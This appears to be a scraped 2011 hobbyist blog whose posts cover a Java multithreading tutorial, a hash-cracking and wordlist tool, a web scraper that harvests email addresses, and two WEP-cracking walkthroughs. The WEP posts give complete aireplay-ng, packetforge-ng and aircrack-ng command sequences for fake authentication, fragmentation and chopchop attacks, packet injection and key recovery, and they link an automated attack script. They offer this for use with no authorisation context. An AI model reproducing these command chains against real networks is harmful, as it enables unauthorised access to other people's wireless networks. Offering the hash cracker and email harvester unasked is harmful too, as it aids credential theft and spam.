This will be a small part, since it'll only tell you the basics principles on how to create multiple threads of one class. The date of when the new tutorials are coming out is still not decided. Quite some projects are on my mind at this very moment, so I can't promise anything.

definition

threads are parts of program that run in competition at the same time. An example of multithreading is the GC.

states

new state
The thread has just been created
runnable state
run() method is activated
waiting state
part of the code can't be executed yet
wait() gets activated.
will be back at the runnable state as soon as something invokes notify()
timed waiting state
waiting until the sleep() interval is finished
terminated state
its job is done.
blocked state
The thread can't fulfill its job (due to i-o call f.ex)

priorities

Every thread has a priority.

Code:
Thread.MIN_PRIORITY

Thread.NORM_PRIORITY

Thread.MAX_PRIORITY

If two threads have the same priority, timeslicing is used. Which means that they both get some quantumtime from the processor.

creation and execution of threads
We will use the runnable interface to create a thread.

this is the PrintTask thread class.

Code:
PrintTask implements Runnable

    {

         private int sleepTime; // random sleeptime

         private String threadName; // name of the thread

         private static Random generator = new Random();

         public PrintTask( String name )    {       // geef de thread een naam             threadName = name;             

           // random sleeptime between 0 and 5 seconds  

           sleepTime = generator.nextInt( 5000 );  

        } // end PrintTask constructor 

        //the run method will always be executed when the thread starts

        public void run() {   

            try              

               {      

                 System.out.printf( "%s going to sleep for %d \n",  threadName, sleepTime );                   

                  Thread.sleep( sleepTime );    

                } // end try           

            catch ( InterruptedException exception )   

                {      

                   exception.printStackTrace();   

                } // end catch                  

          System.out.printf( "%s done sleeping\n", threadName );   }

} // einde klasse PrintTask

Executing them with a thread pool (executors)

Code:
import java.util.concurrent.Executors;

import java.util.concurrent.ExecutorService;

public class RunnableTester

{

   public static void main( String[] args )

   {

      // creation of the 3 runnables

      PrintTask task1 = new PrintTask( "thread1" );

      PrintTask task2 = new PrintTask( "thread2" );

      PrintTask task3 = new PrintTask( "thread3" );

      System.out.println( "Starting threads" );

      // creating a thread pool with 3 fixed threads

      ExecutorService threadExecutor = Executors. newFixedThreadPool(3);

      threadExecutor.execute( task1 );

      threadExecutor.execute( task2 );

      threadExecutor.execute( task3 );

      threadExecutor.shutdown(); // shutting down the threadpool

      System.out.println( "Threads started, main ends\n" );

   } // end main

} // end class RunnableTester

Shared Objects

Sometimes, it's necessary to share objects within our threads. To avoid curruption or outdated resources, we use synchronisation, keywords in this field are
Lock and ReentrantLock.
In my next chapter, I'll explain how to use these Locks to avoid problems.
As a bonus, I'll add a design pattern to the next tutorial, the singleton pattern

Alternative WEP cracking - Short edition!

2011-03-20T14:00:00.000-07:00

Ok, last time I taught you chopchop and fragmentation attack, now I'm going to teach you the easiest and probably shortest way to inject packets. Bear in mind that this is rather an older tutorial, but it is still incredibly effective against WEP-based encrypted routers.

Instead of the fragmentation or chopchop technique, there's the simple injection technique.

It scans for packets, and when a packet is seen, your computer copies it, and starts injecting it. A downside to this, is that sometimes it captures large packets, and so injecting would take quite some time because your computer injects these large packets.
If you happen to capture a very small packet, everything would be a lot faster, almost as fast as the fragmentation attack.

The aireplay-ng command

Code:
aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b BSSID -h YOUROWNMAC SPOOFEDINTERFACE

after you gathered enough packets, it's the same thing, just cracking ;-)

Cracking WEP without a client! Old but still current ;)

2011-03-20T13:57:00.000-07:00

Hi, Qkyrie here

background

after reading quite some tutorials in the past, I noticed most of the tutorials used a simple injection technique, which does not always work on certain routers.

That's why I thought, why not write a second tutorial, that covers another type of injection? And here's the final result..
The Chopchop- or fragmentation attack..

ChopChop? Fragmentation?

What we will be doing will be basically the same as in other tutorials, though there will be one big difference, the injection.
Basically, what we will be doing is:

using aireplay-ng to do a fake authentication with the access point
Using aireplay-ng chopchop or fragmenation attack to obtain PRGA
Using packetforge-ng to create an arp packet using that PRGA
Inject the created arp packet

enough background, here comes the real deal

Knowing what interface to use

first of all, you'll have to know what the name of your wireless interface is, thats why you type:

Code:
iwconfig

Identifying your slave

Code:
airmon-ng start INTERFACE

you'd get a small message saying:
(monitor mode enabled on SPOOFEDINTERFACE ) //In my case, interface was "mon0"..

Code:
airodump-ng SPOOFEDINTERFACE

If you already know what channel your slave is on, you can use the argument "-c CHANNEL"..

write down the BSSID and ESSID, the CHANNEL can come in quite handy too.
use Ctrl + C if you wrote everything down..

getting started with aireplay

the first aireplay command:

Code:
aireplay-ng -1 6000 -o 1 -q 10 -e SSID -a BSSID -h YOUROWNMAC SPOOFEDINTERFACE

this will perform an pseudo-authentication with the router.

The Fragmentation Attack

Code:
aireplay-ng -5 -b BSSID -h YOUROWNMAC SPOOFEDINTERFACE

Sometimes, this technique fails, if this happens, this fragmentation attack was unable to recover the PRGA, you should try the ChopChop technique then..

Chopchop technique - only necessary when the Fragmentation attack doesnt work

Code:
aireplay-ng -4 -h YOUROWNMAC -b BSSID SPOOFEDINTERFACE

-4 means we are using the chopchop technique. Since in my case the Fragmentation attack always works, I don't have a picture of a chopchop technique, but visually, it should give you the same outcome, though it might take longer..

PacketForge, our tool to create the ARP-packet

Code:
Packetforge-ng -0 -a BSSID -h YOUROWNMAC -k 255.255.255.255 -l 255.255.255.255 -y fragment-*.xor -w arp-packet

this will create the ARP-packet with the information of your chopchop or fragmentation technique.. It writes the packet as "arp-packet"..

Turn on Airodump to start capturing data

Code:
airodump-ng -c CHANNEL --bssid BSSID -w out SPOOFEDINTERFACE

this will start airodump on channel "CHANNEL" and will write everything to the file "out"..

start injecting your crafted packet

it's start to inject right, to get the datarate up. here's the command for this, open up new terminal and start this.

Code:
aireplay-ng -2 -r arp-packet SPOOFEDINTERFACE

Aircrack-ng

Once you've gathered enough packets, use the aircrack command to start cracking it. I sometimes leave to aircrack function running from the beginning. It restarts after a certain amount of time ;-)

Code:
aircrack-ng -b BSSID out*.cap

That's it

Just for you guys, I have a small extra. If you want an automated version of this, i'll give you the script. All you have to adapt is the spoofed interface and the original interface. Mine was mon0 and wlan0, yours will probably be something different.
The script can be found here:
Download personalcrack.sh

If you happen to have any questions, feel free to ask them ;-)

@_Qkyrie_

EnQryptionTools - a java encryption suite

2011-03-20T13:45:00.000-07:00

Hi everyone, Qkyrie here.

Some of you already heard me telling something about the tool I am developing. Well, today I'll be presenting you my development.

Encryption Tools - codename: md5tools

The tool I'm developing is actually an AIO encryption/decryption tool for the lazy people. It's expanding everyday, and I'll be releasing it soon.
A few functions I can already reveal:

Online Md5 checker

this will check if the inserted hash is available on several online databases.
I'm adding new databases each day.

current databases are:
Check the program ;)

If you have some more online crackers you love to use, feel free to PM me or reply, I'll be happy to add them.

Offline cracker

Basically an offline cracker for hashes, which uses a wordlist.
At this moment, it supports

MD2
MD4
MD5
SHA1
SHA2
SHA3
SHA5
HAVAL
TIGER
Whirlpool
RipeMD128
RipeMD160

I developed this app in such a way, that it's very easy to implement new encryptions and encryptions in combination with salts. If you have any suggests, feel free to add here too.

Encode / Decode

This is basically not necessary, but I'll be adding some basic encryptions here. They sometimes get used, so why not add em right ;).

Encrypt/Decrypt files

WordList Creater

This is actually something my friend is working on. It's a plugin to create your own wordlists. You'll have a choice of adding numbers/lowcase/capitals

If you have any tips, requests or feedback, feel free to reply or PM.

The wordlist is functional now, but the problem is that it's, as expected, rather slow when dealing with lowercase+uppercase. It does its job, and if you have the time, just let it generate it ;)

DOWNLOAD

if you want the downloadlink, you've got a few options.

find the alternative downloadlink on this blog. It's posted last month, and it's not hard to find at all.
post here with some good comment
tweet about this and mention me, I'll contact you with details afterwards
mail

--UPDATES--

added more online dictionaries
added multitasking in fetching the dictionaries -> immediate/realtime results
added multitasking in the dictionary attack, words crack at 14k/s atm, which is very low actually. I'm looking for a solution, might just be bottlenecked by JVM.
Gave Beta phase to the community
Added reverse Sha1 lookup
Completely new gui
SHA2 encryptions + cracking
MD2 encryption + cracking
MD4 Encryption + cracking
ROT13 and String reverse function
SHA3
SHA5
HAVAL
TIGER
Whirlpool
RipeMD128
RipeMD160

regards

@_Qkyrie_

JScrape - the Java Website Scraping Framework | WebsiteListParser

2011-03-20T13:35:00.000-07:00

Only some minor updates today.

I created a module that can be run as a Thread (of the type Callable). It has the ability to parse an entire list of websites. It just gets a List<String> and uses the specific parser to parse those links.

Each specific parser returns a List of the type String. It all gets added to the WebsiteListParser which just returns all the information as a Future<List<String>>.

Still looking for good ideas to expand this project. Hope to get some good responses soon ;)

regards
Q

JScrape - the Java Website Scraping Framework !!UPDATED!!

2011-03-15T15:30:00.000-07:00

JScrape Update

jScrape has been implemented some more, it not only includes a framework to post/get websites, with parameters, with proxy, but it now also includes a few parsers to look for:

images on a webpage
links on a webpage
emailaddresses on a webpage

and also a module to scrape a website to a certain level has been added.

@_Qkyrie_

Abstract Database - An easy MySQL - Database Implementation

2011-03-14T02:20:00.000-07:00

Abstract Database

So today we decided to create a class library of our database. We just keep using this one, but never really created a class library of it. So after like 5 minutes of refactoring, we came up with this.

It includes a few design patterns and is very easy to implement in your own projects.

Created by Qkyrie & Chimera

Follow @_Qkyrie_